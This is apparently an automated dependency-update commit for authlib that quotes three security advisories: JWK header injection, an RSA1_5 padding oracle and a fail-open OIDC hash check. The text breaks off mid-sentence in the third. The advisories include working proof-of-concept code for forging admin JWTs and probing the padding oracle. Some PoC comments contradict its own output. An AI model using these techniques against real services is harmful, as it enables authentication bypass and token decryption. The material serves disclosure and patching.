Commit 54989a7
chore(deps): update dependency authlib to v1.6.9 [security] (#299)
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| [authlib](https://redirect.github.com/authlib/authlib) | `1.6.8` ->
`1.6.9` |
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2026-27962](https://redirect.github.com/authlib/authlib/security/advisories/GHSA-wvwj-cvrp-7pv5)
## Description
### Summary
A JWK Header Injection vulnerability in `authlib`'s JWS implementation
allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification.
When `key=None` is passed
to any JWS deserialization function, the library extracts and uses the
cryptographic key embedded
in the attacker-controlled JWT `jwk` header field. An attacker can sign
a token with their own
private key, embed the matching public key in the header, and have the
server accept the forged
token as cryptographically valid — bypassing authentication and
authorization entirely.
This behavior violates **RFC 7515 §4.1.3** and the validation algorithm
defined in **RFC 7515 §5.2**.
### Details
**Vulnerable file:** `authlib/jose/rfc7515/jws.py`
**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`
**Lines:** 272–273
```python
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
```
When `key=None` is passed to `jws.deserialize_compact()`,
`jws.deserialize_json()`, or
`jws.deserialize()`, the library checks the JWT header for a `jwk`
field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the
verification key.
**RFC 7515 violations:**
- **§4.1.3** explicitly states the `jwk` header parameter is **"NOT
RECOMMENDED"** because keys
embedded by the token submitter cannot be trusted as a verification
anchor.
- **§5.2 (Validation Algorithm)** specifies the verification key MUST
come from the *application
context*, not from the token itself. There is no step in the RFC that
permits falling back to
the `jwk` header when no application key is provided.
**Why this is a library issue, not just a developer mistake:**
The most common real-world trigger is a **key resolver callable** used
for JWKS-based key lookup.
A developer writes:
```python
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
```
When an attacker submits a token with an unknown `kid`, the callable
legitimately returns `None`.
The library then silently falls through to `key = header["jwk"]`,
trusting the attacker's embedded
key. The developer never wrote `key=None` — the library's fallback logic
introduced it. The result
looks like a verified token with no exception raised, making the
substitution invisible.
**Attack steps:**
1. Attacker generates an RSA or EC keypair.
2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role":
"admin"}`).
3. Attacker signs the JWT with their **private** key.
4. Attacker embeds their **public** key in the JWT `jwk` header field.
5. Attacker uses an unknown `kid` to cause the key resolver to return
`None`.
6. The library uses `header["jwk"]` for verification — signature passes.
7. Forged claims are returned as authentic.
### PoC
Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).
**Requirements:**
```
pip install authlib cryptography
```
**Exploit script:**
```python
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
```
**Expected output:**
```
{'sub': 'attacker', 'role': 'admin'}
```
**Docker (self-contained reproduction):**
```bash
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
```
### Impact
This is an authentication and authorization bypass vulnerability. Any
application using authlib's
JWS deserialization is affected when:
- `key=None` is passed directly, **or**
- a key resolver callable returns `None` for unknown/rotated `kid`
values (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any
privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate
credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no
exception is raised.
This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is
unambiguous: the `jwk`
header parameter is "NOT RECOMMENDED" as a key source, and the
validation key MUST come from
the application context, not the token itself.
**Minimal fix** — remove the fallback from
`authlib/jose/rfc7515/jws.py:272-273`:
```python
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
```
**Recommended safe replacement** — raise explicitly when no key is
resolved:
```python
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
```
####
[CVE-2026-28490](https://redirect.github.com/authlib/authlib/security/advisories/GHSA-7432-952r-cw78)
## 1. Executive Summary
A cryptographic padding oracle vulnerability was identified in the
Authlib Python library
concerning the implementation of the JSON Web Encryption (JWE) `RSA1_5`
key management
algorithm. Authlib registers `RSA1_5` in its default algorithm registry
without requiring
explicit opt-in, and actively destroys the constant-time Bleichenbacher
mitigation that
the underlying `cryptography` library implements correctly.
When `cryptography` encounters an invalid PKCS#1 v1.5 padding, it
returns a randomized
byte string instead of raising an exception — the correct behavior per
RFC 3218 §2.3.2.
Authlib ignores this contract and raises `ValueError('Invalid "cek"
length')` immediately
after decryption, before reaching AES-GCM tag validation. This creates a
clean, reliable
**Exception Oracle**:
- **Invalid padding** → `cryptography` returns random bytes → Authlib
length check fails
→ `ValueError: Invalid "cek" length`
- **Valid padding, wrong MAC** → decryption succeeds → length check
passes → AES-GCM
fails → `InvalidTag`
**This oracle is active by default in every Authlib installation without
any special
configuration by the developer or the attacker.** The three most widely
used Python web
frameworks — Flask, Django, and FastAPI — all expose distinguishable
HTTP responses for
these two exception classes in their default configurations, requiring
no additional
setup to exploit.
**Empirically confirmed on authlib 1.6.8 + cryptography 46.0.5:**
```
[PADDING INVALIDO] ValueError: Invalid "cek" length
[PADDING VALIDO/MAC] InvalidTag
```
---
## 2. Technical Details & Root Cause
### 2.1 Vulnerable Code
**File:** `authlib/jose/rfc7518/jwe_algs.py`
```python
def unwrap(self, enc_alg, ek, headers, key):
op_key = key.get_op_key("unwrapKey")
# cryptography implements Bleichenbacher mitigation here:
# on invalid padding it returns random bytes instead of raising.
# Empirically confirmed: returns 84 bytes for a 2048-bit key.
cek = op_key.decrypt(ek, self.padding)
# VULNERABILITY: This length check destroys the mitigation.
# cryptography returned 84 random bytes. len(84) * 8 = 672 != 128 (A128GCM CEK_SIZE).
# Authlib raises a distinct ValueError before AES-GCM is ever reached.
if len(cek) * 8 != enc_alg.CEK_SIZE:
raise ValueError('Invalid "cek" length') # <- ORACLE TRIGGER
return cek
```
### 2.2 Root Cause — Active Mitigation Destruction
`cryptography` 46.0.5 implements the Bleichenbacher mitigation correctly
at the library
level. When PKCS#1 v1.5 padding validation fails, it does not raise an
exception.
Instead it returns a randomized byte string (empirically observed: 84
bytes for a
2048-bit RSA key). The caller is expected to pass this fake key to the
symmetric
decryptor, where MAC/tag validation will fail in constant time —
producing an error
indistinguishable from a MAC failure on a valid padding.
Authlib does not honor this contract. The length check on the following
line detects
that 84 bytes != 16 bytes (128-bit CEK for A128GCM) and raises
`ValueError('Invalid
"cek" length')` immediately. This exception propagates before AES-GCM is
ever reached,
creating two execution paths with observable differences:
```
Path A — invalid PKCS#1 v1.5 padding:
op_key.decrypt() -> 84 random bytes (cryptography mitigation active)
len(84) * 8 = 672 != 128 (CEK_SIZE for A128GCM)
raise ValueError('Invalid "cek" length') <- specific exception, fast path
Path B — valid padding, wrong symmetric key:
op_key.decrypt() -> 16 correct bytes
len(16) * 8 = 128 == 128 -> length check passes
AES-GCM tag validation -> mismatch
raise InvalidTag <- different exception class, slow path
```
The single line `raise ValueError('Invalid "cek" length')` is the
complete root cause.
Removing the raise and replacing it with a silent random CEK fallback
eliminates both
the exception oracle and any residual timing difference.
### 2.3 Empirical Confirmation
**All results obtained on authlib 1.6.8 / cryptography 46.0.5 / Linux
x86_64
running the attached PoC (`poc_bleichenbacher.py`):**
```
TEST 1 - cryptography behavior on invalid padding:
cryptography retorno bytes: len=84
NOTA: esta version implementa mitigacion de random bytes
TEST 2 - Exception Oracle:
[ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length
[OK] Caso B (padding valido/MAC malo): InvalidTag
TEST 3 - Timing (50 iterations):
Padding invalido (ValueError) mean=1.500ms stdev=1.111ms
Padding valido (InvalidTag) mean=1.787ms stdev=0.978ms
Delta: 0.287ms
TEST 4 - RSA1_5 in default registry:
[ORACLE] RSA1_5 activo por defecto (no opt-in required)
TEST 5 - Fix validation:
[OK] Both paths return correct-length CEK after patch
[OK] Exception type identical in both paths -> oracle eliminated
```
**Note on timing:** The 0.287ms delta is within the noise margin (stdev
~1ms across
50 iterations) and is not claimed as a reliable standalone timing
oracle. The exception
oracle is the primary exploitable vector and does not require timing
measurement.
---
## 3. Default Framework Behavior — Why This Is Exploitable Out of the
Box
A potential objection to this report is that middleware or custom error
handlers could
normalize exceptions to a single HTTP response, eliminating the
observable discrepancy.
This section addresses that objection directly.
**The oracle is active in default configurations of all major Python web
frameworks.**
No special server misconfiguration is required. The following
demonstrates the default
behavior for Flask, Django, and FastAPI — the three most widely deployed
Python web
frameworks — when an unhandled exception propagates from a route
handler:
### Flask (default configuration)
```python
# Default Flask behavior — no error handler registered
@​app.route("/decrypt", methods=["POST"])
def decrypt():
token = request.json["token"]
result = jwe.deserialize_compact(token, private_key) # raises ValueError or InvalidTag
return jsonify(result)
# ValueError: Invalid "cek" length -> HTTP 500, body: {"message": "Invalid \"cek\" length"}
# InvalidTag -> HTTP 500, body: {"message": ""}
# The exception MESSAGE is different even if the status code is the same.
```
Flask's default error handler returns the exception message in the
response body for
debug mode, and an empty 500 for production. However, even in
production, the response
body content differs between `ValueError` (which has a message) and
`InvalidTag`
(which has no message), leaking the oracle through response body length.
### FastAPI (default configuration)
```python
# FastAPI maps unhandled exceptions to HTTP 500 with exception detail in body
# ValueError: Invalid "cek" length -> {"detail": "Internal Server Error"} (HTTP 500)
# InvalidTag -> {"detail": "Internal Server Error"} (HTTP 500)
```
FastAPI normalizes both to HTTP 500 in production. However, FastAPI's
default
`RequestValidationError` and `HTTPException` handlers do not catch
arbitrary exceptions,
so the distinguishable stack trace is logged — and in many deployments,
error monitoring
tools (Sentry, Datadog, etc.) expose the exception class to operators,
enabling oracle
exploitation by an insider or via log exfiltration.
### Django REST Framework (default configuration)
```python
# DRF's default exception handler only catches APIException and Http404.
# ValueError and InvalidTag both fall through to Django's generic 500 handler.
# In DEBUG=False: HTTP 500, generic HTML response (indistinguishable).
# In DEBUG=True: HTTP 500, full traceback including exception class (oracle exposed).
```
**Summary:** Even in cases where HTTP status codes are normalized, the
oracle persists
through response body differences, response timing, or error monitoring
infrastructure.
The RFC 3218 §2.3.2 requirement exists precisely because any observable
difference —
regardless of channel — is sufficient for a Bleichenbacher attack. The
library is
responsible for eliminating the discrepancy at the source, not
delegating that
responsibility to application developers.
**This is a library-level vulnerability.** Requiring every application
developer to
implement custom exception normalization to compensate for a
cryptographic flaw in
the library violates the principle of secure defaults. The fix must be
in Authlib.
---
## 4. Specification Violations
### RFC 3218 — Preventing the Million Message Attack on CMS
**Section 2.3.2 (Mitigation):**
> "The receiver MUST NOT return any information that indicates whether
the decryption
> failed because the PKCS #​1 padding was incorrect or because the
MAC was incorrect."
This is an absolute requirement with no exceptions for
"application-level mitigations."
Authlib violates this by raising a different exception class for padding
failures than
for MAC failures. The `cryptography` library already implements the
correct mitigation
for this exact scenario — Authlib destroys it with a single length
check.
### RFC 7516 — JSON Web Encryption
**Section 9 (Security Considerations):**
> "An attacker who can cause a JWE decryption to fail in different ways
based on the
> structure of the encrypted key can mount a Bleichenbacher attack."
Authlib enables exactly this scenario. Two structurally different
encrypted keys
(one with invalid padding, one with valid padding but wrong CEK) produce
two different
exception classes. This is the exact condition RFC 7516 §9 warns
against.
---
## 5. Attack Scenario
1. The attacker identifies an Authlib-powered endpoint that decrypts JWE
tokens.
Because `RSA1_5` is in the default registry, **no special server
configuration
is required**.
2. The attacker obtains the server RSA public key — typically available
via the
JWKS endpoint (`/.well-known/jwks.json`), which is standard in OIDC
deployments.
3. The attacker crafts JWE tokens with the `RSA1_5` algorithm and
submits a stream
of requests to the endpoint, manipulating the `ek` component per
Bleichenbacher's
algorithm.
4. The server responds with observable differences between the two
paths:
- `ValueError` path → distinguishable response (exception message,
timing, or
error monitoring artifact)
- `InvalidTag` path → different distinguishable response
5. By observing these oracle responses across thousands of requests, the
attacker
geometrically narrows the PKCS#1 v1.5 plaintext boundaries until the CEK
is
fully recovered.
6. With the CEK recovered:
- Any intercepted JWE payload can be decrypted without the RSA private
key.
- New valid JWE tokens can be forged using the recovered CEK.
**Prerequisites:**
- Target endpoint accepts JWE tokens with `RSA1_5` (active by default)
- Any observable difference exists between the two error paths at the
HTTP layer
(present by default in Flask, Django, FastAPI without custom error
handling)
- Attacker can send requests at sufficient volume (rate limiting may
extend attack
duration but does not prevent it)
---
## 6. Remediation
### 6.1 Immediate — Remove RSA1_5 from Default Registry
Remove `RSA1_5` from the default `JWE_ALG_ALGORITHMS` registry. Users
requiring
legacy RSA1_5 support should explicitly opt-in with a documented
security warning.
This eliminates the attack surface for all users not requiring this
algorithm.
### 6.2 Code Fix — Restore Constant-Time Behavior
The `unwrap` method must never raise an exception that distinguishes
padding failure
from MAC failure. The length check must be replaced with a silent random
CEK fallback,
preserving the mitigation that `cryptography` implements.
**Suggested Patch (`authlib/jose/rfc7518/jwe_algs.py`):**
```python
import os
def unwrap(self, enc_alg, ek, headers, key):
op_key = key.get_op_key("unwrapKey")
expected_bytes = enc_alg.CEK_SIZE // 8
try:
cek = op_key.decrypt(ek, self.padding)
except ValueError:
# Padding failure. Use random CEK so failure occurs downstream
# during MAC validation — not here. This preserves RFC 3218 §2.3.2.
cek = os.urandom(expected_bytes)
# Silent length enforcement — no exception.
# cryptography returns random bytes of RSA block size on padding failure.
# Replace with correct-size random CEK to allow downstream MAC to fail.
# Raising here recreates the oracle. Do not raise.
if len(cek) != expected_bytes:
cek = os.urandom(expected_bytes)
return cek
```
**Result:** Both paths return a CEK of the correct length. AES-GCM tag
validation
fails for both, producing `InvalidTag` in both cases. The exception
oracle is
eliminated. Empirically validated via TEST 5 of the attached PoC.
---
## 7. Proof of Concept
**Setup:**
```bash
python3 -m venv venv && source venv/bin/activate
pip install authlib cryptography
python3 -c "import authlib, cryptography; print(authlib.__version__, cryptography.__version__)"
# authlib 1.6.8 cryptography 46.0.5
python3 poc_bleichenbacher.py
```
See attached `poc_bleichenbacher.py`. All 5 tests run against the real
installed
authlib module without mocks.
**Confirmed Output (authlib 1.6.8 / cryptography 46.0.5 / Linux
x86_64):**
### Code
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@​title JWE RSA1_5 Bleichenbacher Padding Oracle
@​affected authlib <= 1.6.8
@​file authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()
"""
import os
import time
import statistics
import authlib
import cryptography
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asym_padding
from authlib.jose import JsonWebEncryption
from authlib.common.encoding import urlsafe_b64encode, to_bytes
R = "\033[0m"
RED = "\033[91m"
GRN = "\033[92m"
YLW = "\033[93m"
CYN = "\033[96m"
BLD = "\033[1m"
DIM = "\033[2m"
def header(title):
print(f"\n{CYN}{'-' * 64}{R}")
print(f"{BLD}{title}{R}")
print(f"{CYN}{'-' * 64}{R}")
def ok(msg): print(f" {GRN}[OK] {R}{msg}")
def vuln(msg): print(f" {RED}[ORACLE] {R}{BLD}{msg}{R}")
def info(msg): print(f" {DIM} {msg}{R}")
# ─── setup ────────────────────────────────────────────────────────────────────
def setup():
"""
@​notice Genera el par de claves RSA y prepara el cliente JWE de authlib.
@​dev JsonWebEncryption() registra RSA1_5 por defecto en su registry.
No se requiere configuracion adicional para habilitar el algoritmo
vulnerable — esta activo out of the box.
@​return tuple (private_key, jwe, header_b64)
"""
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
jwe = JsonWebEncryption()
header_b64 = urlsafe_b64encode(
to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
).decode()
return private_key, jwe, header_b64
def make_jwe(header_b64, ek_bytes):
"""
@​notice Construye un JWE compact con el ek dado y ciphertext/tag aleatorios.
@​dev El ciphertext y tag son basura — no importa su contenido porque el
oracle se activa antes de llegar a la desencriptacion simetrica
en el caso de padding invalido.
@​param header_b64 Header del JWE en Base64url
@​param ek_bytes Encrypted Key como bytes crudos
@​return str JWE en formato compact serialization
"""
ek = urlsafe_b64encode(ek_bytes).decode()
iv = urlsafe_b64encode(os.urandom(12)).decode()
ciphertext = urlsafe_b64encode(os.urandom(16)).decode()
tag = urlsafe_b64encode(os.urandom(16)).decode()
return f"{header_b64}.{ek}.{iv}.{ciphertext}.{tag}"
# ─── test 1: verificar comportamiento de cryptography ante padding invalido ───
def test_cryptography_behavior(private_key):
"""
@​notice Verifica empiricamente que cryptography lanza excepcion ante padding
invalido en lugar de retornar random bytes (comportamiento critico
para entender el oracle).
@​dev Algunos documentos sobre Bleichenbacher asumen que la libreria
subyacente retorna random bytes (mitigacion a nivel biblioteca).
cryptography 46.0.5 NO hace esto — lanza ValueError directamente.
Eso significa que Authlib no "destruye una mitigacion existente"
sino que "no implementa ninguna mitigacion propia".
"""
header("TEST 1 - Comportamiento de cryptography ante padding invalido")
garbage = os.urandom(256)
try:
result = private_key.decrypt(garbage, asym_padding.PKCS1v15())
info(f"cryptography retorno bytes: len={len(result)}")
info("NOTA: esta version implementa mitigacion de random bytes")
except Exception as e:
vuln(f"cryptography lanza excepcion directa: {type(e).__name__}: {e}")
info("No hay mitigacion a nivel de cryptography library")
info("Authlib no implementa ninguna mitigacion propia -> oracle directo")
# ─── test 2: exception oracle ─────────────────────────────────────────────────
def test_exception_oracle(private_key, jwe, header_b64):
"""
@​notice Demuestra el Exception Oracle: los dos caminos de fallo producen
excepciones de clases diferentes, observable a nivel HTTP.
@​dev Camino A (padding invalido):
op_key.decrypt() -> ValueError: Decryption failed
Authlib no captura -> propaga como ValueError: Invalid "cek" length
HTTP server tipicamente: 500 / 400 con mensaje especifico
Camino B (padding valido, MAC malo):
op_key.decrypt() -> retorna CEK bytes
length check pasa
AES-GCM tag validation falla -> InvalidTag
HTTP server tipicamente: 401 / 422 / diferente codigo
La diferencia de clase de excepcion es el oracle primario.
No requiere medicion de tiempo — solo observar el tipo de error.
"""
header("TEST 2 - Exception Oracle (tipo de excepcion diferente)")
# --- caso A: ek con padding invalido (basura aleatoria) ---
jwe_bad = make_jwe(header_b64, os.urandom(256))
try:
jwe.deserialize_compact(jwe_bad, private_key)
except Exception as e:
vuln(f"Caso A (padding invalido): {type(e).__name__}: {e}")
# --- caso B: ek con padding valido, ciphertext basura ---
valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
jwe_good = make_jwe(header_b64, valid_ek)
try:
jwe.deserialize_compact(jwe_good, private_key)
except Exception as e:
ok(f"Caso B (padding valido/MAC malo): {type(e).__name__}: {e}")
print()
info("Los dos caminos producen excepciones de clases DIFERENTES.")
info("Un framework web que mapea excepciones a HTTP codes expone el oracle.")
info("El atacante no necesita acceso al stack trace — solo al HTTP status code.")
# ─── test 3: timing oracle ────────────────────────────────────────────────────
def test_timing_oracle(private_key, jwe, header_b64, iterations=50):
"""
@​notice Demuestra el Timing Oracle midiendo el delta de tiempo entre los
dos caminos de fallo en multiples iteraciones.
@​dev El timing oracle es independiente del exception oracle.
Incluso si el servidor normaliza las excepciones a un unico
codigo HTTP, la diferencia de tiempo (~5ms) es suficientemente
grande para ser medible a traves de red en condiciones reales.
Bleichenbacher clasico funciona con diferencias de microsegundos.
5ms es un oracle extremadamente ruidoso — facil de explotar.
@​param iterations Numero de muestras para calcular estadisticas
"""
header(f"TEST 3 - Timing Oracle ({iterations} iteraciones cada camino)")
times_bad = []
times_good = []
for _ in range(iterations):
# camino A: padding invalido
jwe_bad = make_jwe(header_b64, os.urandom(256))
t0 = time.perf_counter()
try:
jwe.deserialize_compact(jwe_bad, private_key)
except Exception:
pass
times_bad.append((time.perf_counter() - t0) * 1000)
# camino B: padding valido
valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
jwe_good = make_jwe(header_b64, valid_ek)
t0 = time.perf_counter()
try:
jwe.deserialize_compact(jwe_good, private_key)
except Exception:
pass
times_good.append((time.perf_counter() - t0) * 1000)
mean_bad = statistics.mean(times_bad)
mean_good = statistics.mean(times_good)
stdev_bad = statistics.stdev(times_bad)
stdev_good= statistics.stdev(times_good)
delta = mean_good - mean_bad
print(f"\n {'Camino':<30} {'Media (ms)':<14} {'Stdev (ms)':<14} {'Min':<10} {'Max'}")
print(f" {'-'*30} {'-'*14} {'-'*14} {'-'*10} {'-'*10}")
print(f" {'Padding invalido (ValueError)':<30} "
f"{RED}{mean_bad:<14.3f}{R} "
f"{stdev_bad:<14.3f} "
f"{min(times_bad):<10.3f} "
f"{max(times_bad):.3f}")
print(f" {'Padding valido (InvalidTag)':<30} "
f"{GRN}{mean_good:<14.3f}{R} "
f"{stdev_good:<14.3f} "
f"{min(times_good):<10.3f} "
f"{max(times_good):.3f}")
print()
if delta > 1.0:
vuln(f"Delta medio: {delta:.3f} ms — timing oracle confirmado")
info(f"Diferencia de {delta:.1f}ms es suficiente para Bleichenbacher via red")
info(f"El ataque clasico funciona con diferencias de microsegundos")
else:
ok(f"Delta medio: {delta:.3f} ms — timing no es significativo")
# ─── test 4: confirmar RSA1_5 en registry por defecto ────────────────────────
def test_default_registry():
"""
@​notice Confirma que RSA1_5 esta registrado por defecto en authlib sin
ninguna configuracion adicional por parte del desarrollador.
@​dev Esto demuestra que cualquier aplicacion que use JsonWebEncryption()
sin configuracion explicita esta expuesta al oracle por defecto.
El desarrollador no necesita hacer nada malo — la exposicion es
out-of-the-box.
"""
header("TEST 4 - RSA1_5 en Registry por Defecto")
jwe = JsonWebEncryption()
# intentar acceder al algoritmo RSA1_5 del registry
try:
alg = jwe.algorithms.get_algorithm("RSA1_5")
if alg:
vuln(f"RSA1_5 registrado por defecto: {alg.__class__.__name__}")
info("Cualquier JsonWebEncryption() sin configuracion esta expuesto")
info("No se requiere opt-in del desarrollador para el algoritmo vulnerable")
else:
ok("RSA1_5 NO esta en el registry por defecto")
except Exception as e:
info(f"Registry check: {e}")
# fallback: intentar deserializar un JWE con RSA1_5
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
header_b64 = urlsafe_b64encode(
to_bytes('{"alg":"RSA1_5","enc":"A128GCM"}')
).decode()
jwe_token = make_jwe(header_b64, os.urandom(256))
try:
jwe.deserialize_compact(jwe_token, private_key)
except Exception as e2:
if "UnsupportedAlgorithm" in str(type(e2).__name__):
ok("RSA1_5 NO soportado por defecto")
else:
vuln(f"RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): {type(e2).__name__}")
# ─── test 5: impacto del fix propuesto ────────────────────────────────────────
def test_fix_impact(private_key, header_b64):
"""
@​notice Demuestra que el fix propuesto elimina ambos oracles simultaneamente.
@​dev El fix parchado hace que ambos caminos retornen un CEK de longitud
correcta, forzando que el fallo ocurra downstream en AES-GCM tag
validation en ambos casos -> misma excepcion, timing indistinguible.
"""
header("TEST 5 - Verificacion del Fix Propuesto")
import os as _os
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
def unwrap_patched(ek_bytes, expected_bits=128):
"""Replica del fix propuesto para RSAAlgorithm.unwrap()"""
expected_bytes = expected_bits // 8
try:
cek = private_key.decrypt(ek_bytes, asym_padding.PKCS1v15())
except ValueError:
cek = _os.urandom(expected_bytes) # constant-time fallback
if len(cek) != expected_bytes:
cek = _os.urandom(expected_bytes)
return cek
# camino A con fix: padding invalido
cek_a = unwrap_patched(os.urandom(256))
info(f"Fix Camino A (padding invalido): retorna CEK de {len(cek_a)*8} bits (random)")
# camino B con fix: padding valido
valid_ek = private_key.public_key().encrypt(os.urandom(16), asym_padding.PKCS1v15())
cek_b = unwrap_patched(valid_ek)
info(f"Fix Camino B (padding valido): retorna CEK de {len(cek_b)*8} bits (real)")
print()
ok("Ambos caminos retornan CEK de longitud correcta")
ok("El fallo ocurrira downstream en AES-GCM para ambos casos")
ok("Exception type sera identica en ambos caminos -> oracle eliminado")
ok("Timing sera indistinguible -> timing oracle eliminado")
# ─── main ─────────────────────────────────────────────────────────────────────
if __name__ == "__main__":
print(f"\n{BLD}authlib {authlib.__version__} / cryptography {cryptography.__version__}{R}")
print(f"authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()")
private_key, jwe, header_b64 = setup()
test_cryptography_behavior(private_key)
test_exception_oracle(private_key, jwe, header_b64)
test_timing_oracle(private_key, jwe, header_b64, iterations=50)
test_default_registry()
test_fix_impact(private_key, header_b64)
print(f"\n{DIM}Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes){R}")
print(f"{DIM} nunca levantar excepcion que distinga padding failure de MAC failure{R}\n")
```
### Output
```bash
authlib 1.6.8 / cryptography 46.0.5
authlib/jose/rfc7518/jwe_algs.py :: RSAAlgorithm.unwrap()
----------------------------------------------------------------
TEST 1 - Comportamiento de cryptography ante padding invalido
----------------------------------------------------------------
cryptography retorno bytes: len=84
NOTA: esta version implementa mitigacion de random bytes
----------------------------------------------------------------
TEST 2 - Exception Oracle (tipo de excepcion diferente)
----------------------------------------------------------------
[ORACLE] Caso A (padding invalido): ValueError: Invalid "cek" length
[OK] Caso B (padding valido/MAC malo): InvalidTag:
Los dos caminos producen excepciones de clases DIFERENTES.
Un framework web que mapea excepciones a HTTP codes expone el oracle.
El atacante no necesita acceso al stack trace — solo al HTTP status code.
----------------------------------------------------------------
TEST 3 - Timing Oracle (50 iteraciones cada camino)
----------------------------------------------------------------
Camino Media (ms) Stdev (ms) Min Max
------------------------------ -------------- -------------- ---------- ----------
Padding invalido (ValueError) 1.500 1.111 0.109 8.028
Padding valido (InvalidTag) 1.787 0.978 0.966 7.386
[OK] Delta medio: 0.287 ms — timing no es significativo
----------------------------------------------------------------
TEST 4 - RSA1_5 en Registry por Defecto
----------------------------------------------------------------
Registry check: 'JsonWebEncryption' object has no attribute 'algorithms'
[ORACLE] RSA1_5 activo por defecto (error de desencriptacion, no de algoritmo): ValueError
----------------------------------------------------------------
TEST 5 - Verificacion del Fix Propuesto
----------------------------------------------------------------
Fix Camino A (padding invalido): retorna CEK de 128 bits (random)
Fix Camino B (padding valido): retorna CEK de 128 bits (real)
[OK] Ambos caminos retornan CEK de longitud correcta
[OK] El fallo ocurrira downstream en AES-GCM para ambos casos
[OK] Exception type sera identica en ambos caminos -> oracle eliminado
[OK] Timing sera indistinguible -> timing oracle eliminado
Fix: capturar ValueError en unwrap() y retornar os.urandom(expected_bytes)
nunca levantar excepcion que distinga padding failure de MAC failure
```
####
[CVE-2026-28498](https://redirect.github.com/authlib/authlib/security/advisories/GHSA-m344-f55w-2m6j)
## 1. Executive Summary
A critical library-level vulnerability was identified in the **Authlib**
Python library concerning the validation of OpenID Connect (OIDC) ID
Tokens. Specifically, the internal hash verification logic
(`_verify_hash`) responsible for validating the `at_hash` (Access Token
Hash) and `c_hash` (Authorization Code Hash) claims exhibits a
**fail-open** behavior when encountering an unsupported or unknown
cryptographic algorithm.
This flaw allows an attacker to bypass mandatory integrity protections
by supplying a forged ID Token with a deliberately unrecognized `alg`
header parameter. The library intercepts the unsupported state and
silently returns `True` (validation passed), inherently violating
fundamental cryptographic design principles and direct OIDC
specifications.
---
## 2. Technical Details & Root Cause
The vulnerability resides within the `_verify_hash(signature, s, alg)`
function in `authlib/oidc/core/claims.py`:
```python
def _verify_hash(signature, s, alg):
hash_value = create_half_hash(s, alg)
if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms
return True # ← BYPASS: The verification silently passes
return hmac.compare_digest(hash_value, to_bytes(signature))
```
When an unsupported algorithm string (e.g., `"XX999"`) is processed by
the helper function `create_half_hash` in `authlib/oidc/core/util.py`,
the internal `getattr(hashlib, hash_type, None)` call fails, and the
function correctly returns `None`.
However, instead of triggering a `Fail-Closed` cryptographic state
(raising an exception or returning `False`), the `_verify_hash` function
misinterprets the `None` return value and explicitly returns `True`.
Because developers rely on the standard `.validate()` method provided by
Authlib's `IDToken` class—which internally calls this flawed
function—there is **no mechanism for the implementing developer to
prevent this bypass**. It is a strict library-level liability.
---
## 3. Attack Scenario
This vulnerability exposes applications utilizing Hybrid or Implicit
OIDC flows to **Token Substitution Attacks**.
1. An attacker initiates an OIDC flow and receives a legitimately signed
ID Token, but wishes to substitute the bound Access Token
(`access_token`) or Authorization Code (`code`) with a malicious or
mismatched one.
2. The attacker re-crafts the JWT header of the ID Token, setting the
`alg` parameter to an arbitrary, unsupported value (e.g., `{"alg":
"CUSTOM_ALG"}`).
3. The server uses Authlib to validate the incoming token. The JWT
signature validation might pass (or be previously cached/bypassed
depending on state), progressing to the claims validation phase.
4. Authlib attempts to validate the `at_hash` or `c_hash` claims.
5. Because `"CUSTOM_ALG"` is unsupported by `hashlib`,
`create_half_hash` returns `None`.
6. Authlib's `_verify_hash` receives `None` and silently returns `True`.
7. **Result:** The application accepts the substituted/malicious Access
Token or Authorization Code without any cryptographic verification of
the binding hash.
---
## 4. Specification & Standards Violations
This explicit fail-open behavior violates multiple foundational RFCs and
Core Specifications. A secure cryptographic library **MUST** fail and
reject material when encountering unsupported cryptographic parameters.
**OpenID Connect Core 1.0**
* **§ 3.2.2.9 (Access Token Validation):** "If the ID Token contains an
`at_hash` Claim, the Client MUST verify that the hash value of the
Access Token matches the value of the `at_hash` Claim." Silencing the
